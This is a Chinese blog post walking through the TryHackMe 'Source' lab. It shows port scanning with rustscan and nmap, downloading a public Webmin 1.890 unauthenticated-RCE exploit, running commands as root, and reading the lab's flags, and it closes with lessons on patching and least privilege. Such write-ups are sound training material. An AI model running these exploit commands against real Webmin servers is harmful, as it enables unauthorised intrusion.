[Day7] THM Source

昨天的题目主要都是暴力破解,相对之下感觉有一点点无聊,那今天我们来打一个简单的 Exploit 吧!

今天采用的题目是 Try Hack Me 上面的 Source

扫 Port

  • 跟昨天一样的起手式,从扫 Port 开始,今天我采用了 rustscan 来进行扫描,Rustscan 最大的优点是扫描速度很快。
    • rustscan -a 10.10.63.154 -r 1-65535
      • 可以发现有开的 Port 是
        • 22
        • 10000
  • 接下来再透过 nmap 进行进一步的扫瞄,只需要扫瞄有开的 Port
    • nmap -A -p22,10000 10.10.63.154
      • 发现 10000 Port 是 MiniServ 1.890

访问网页

  • 用浏览器直接连上去
  • 发现它有绑 SSL , 要用指定网址才能进
    • 可以把 IP 跟 Domain 绑上 /etc/hosts
    • /etc/hosts 加上下面这行
      • 10.10.63.154 ip-10-10-63-154.eu-west-1.compute.internal
  • 再次访问
    • 会发现开启了登入介面

Exploit

  • 透过版本可以查询到 MiniServ 1.890 Exploit
  • 我们把档案给下载下来
    • wget https://raw.githubusercontent.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/master/webmin-1.890_exploit.py
  • 尝试透过 python3 执行
    • 这个程序的使用方式为
      • python3 {程序.py} {IP} {Port} {指令}
    • python3 webmin-1.890_exploit.py 10.10.63.154 10000 id
      • 所以我们对它执行了 Linux 的 id 指令,就回传回来了
      • 这个程序是透过 root 使用者执行的

取得 Flag

  • 通常 Root 的 Flag 都会放在 /root/root.txt,我们可以试着直接猫它
  • 这题还有使用者的 Flag ,
    • 我们可以先看 home 使用者名称
      • 透过 ls /home
      • 看到使用者叫做 dark
    • 观察使用者资料夹
      • ls /home/dark
    • 最终取得使用者的 Flag

心得

这一题题目告诉了我们,使用旧版的程序不更新,攻击者可以轻易地骇进系统,就算没有帐号密码也没关系。而非必要状况,也尽量不要使用 Root 权限执行程序,当攻击者骇入程序後,就可以直接的取得 Root 的权限。


<<:  v-show vs v-if

>>:  Flutter基础介绍与实作-Day8 Hello Flutter(2)

p段落标签-基础用法

p段落标签最常使用搭配段落文章使用 同时也是一个display:block特性的元素 <p&g...

【Day7】人算不如天算的运算式

这个部分算是JavaScript比较难缠的部分,不是难以理解,而是因为比较冗杂,稍稍心浮气躁,就没...

DAY21 资料正规化与资料增强(Data Normalization & Data Augmentation)

复习一下我们之前提到的观念,想要有一个好的预测模型,拥有一个好的资料集是一件很重要的事,因此我们在做...

Day 27 - [实战练习] Pricing Sections

在产品网站上,常常会见到付费价格的页面,其实 Tailwind 也是有像 Bootstrap 一样...

数据分析的好夥伴 - Python基础:模组载入

当我们一直需要重复使用某些功能的时候,可以将程序码打包成一个模组,而有些好心人士将自己写好的多个模组...